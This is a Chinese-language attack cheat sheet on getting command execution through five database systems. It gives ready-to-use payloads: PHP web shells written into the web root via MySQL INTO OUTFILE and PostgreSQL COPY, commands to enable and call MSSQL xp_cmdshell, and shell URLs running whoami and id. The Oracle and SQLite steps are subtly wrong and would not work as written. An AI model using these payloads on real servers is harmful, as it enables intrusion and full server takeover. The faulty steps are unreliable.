1. MySQL
條件
- 數據庫用戶需要具備高權限(如
FILE
權限)。 - 數據庫服務運行用戶需要對目標目錄有寫權限。
- Web 服務器有可寫目錄,且支持執行上傳的腳本(如 PHP、JSP 等)。
原理
- 利用 MySQL 的
SELECT ... INTO OUTFILE
功能,將惡意代碼寫入目標 Web 目錄,生成一個 Web Shell 文件。 - 攻擊者通過瀏覽器訪問 Web Shell,獲得命令執行能力。
流程
- 確認
FILE
權限:SELECT * FROM mysql.user WHERE User='target_user';
- 寫入 Web Shell 到目標目錄:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
- 通過瀏覽器訪問 Web Shell 執行命令:
http://xxxxxx.com/shell.php?cmd=whoami
2. Microsoft SQL Server (MSSQL)
條件
- 數據庫用戶需要
sysadmin
權限。 - 目標服務器啟用了擴展存儲過程
xp_cmdshell
。 - 數據庫運行用戶有命令執行權限。
原理
- 調用 MSSQL 的
xp_cmdshell
存儲過程,直接在操作系統中執行命令。
流程
- 確認是否啟用了
xp_cmdshell
:EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
- 利用
xp_cmdshell
執行命令:EXEC xp_cmdshell 'whoami';
- 通過命令的輸出或回顯獲取執行結果。
3. PostgreSQL
條件
- 數據庫用戶需要對文件系統具有寫權限。
- 數據庫支持使用
COPY
命令將數據寫入文件。 - 目標 Web 目錄可寫入文件,并允許腳本執行。
原理
- 利用 PostgreSQL 的
COPY
功能,將 Web Shell 寫入目標文件系統。
流程
- 寫入 Web Shell:
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
- 訪問 Web Shell:
http://xxxxx.com/shell.php?cmd=id
4. Oracle
條件
- 數據庫用戶需要
CREATE LIBRARY
權限。 - 數據庫運行用戶需要訪問操作系統。
- 利用外部過程或 Java 存儲過程。
原理
- 通過 Oracle 數據庫的外部過程,調用操作系統命令。
- 使用 Java 存儲過程執行系統級操作。
流程
- 創建外部庫(如 DLL 文件):
CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';
- 調用外部過程執行命令:
DECLAREcmd VARCHAR2(1000); BEGINcmd := 'ls';DBMS_SCHEDULER.CREATE_JOB(cmd); END;
- 讀取命令執行結果。
5. SQLite
條件
- SQLite 本身無法直接與操作系統交互。
- 必須結合其他漏洞(如本地文件包含)實現 Web Shell。
原理
- 利用 SQLite 的
ATTACH
或其他功能,嘗試將惡意數據寫入特定目錄。
流程
- 寫入數據:
ATTACH DATABASE '/var/www/html/shell.php' AS shell;
- 在 Web 服務器中訪問生成的 Web Shell 文件。
總結表
數據庫 | 條件 | 原理 | 流程簡述 |
---|---|---|---|
MySQL | FILE 權限,Web 目錄可寫 | 寫入 Web Shell 通過 SELECT ... INTO OUTFILE | 寫 Shell -> 訪問 Shell -> 執行命令 |
MSSQL | sysadmin 權限,啟用 xp_cmdshell | 使用 xp_cmdshell 直接執行系統命令 | 開啟 xp_cmdshell -> 執行命令 |
PostgreSQL | 寫權限,Web 目錄可訪問 | 使用 COPY 寫入 Web Shell | 寫 Shell -> 訪問 Shell -> 執行命令 |
Oracle | CREATE LIBRARY 權限,系統訪問權限 | 使用外部庫或 Java 存儲過程調用系統命令 | 配置庫 -> 調用命令 |
SQLite | 結合其他漏洞(如文件包含) | 寫入惡意數據文件,結合其他漏洞(如 LFI)訪問 | 寫 Shell -> 結合 LFI 執行 |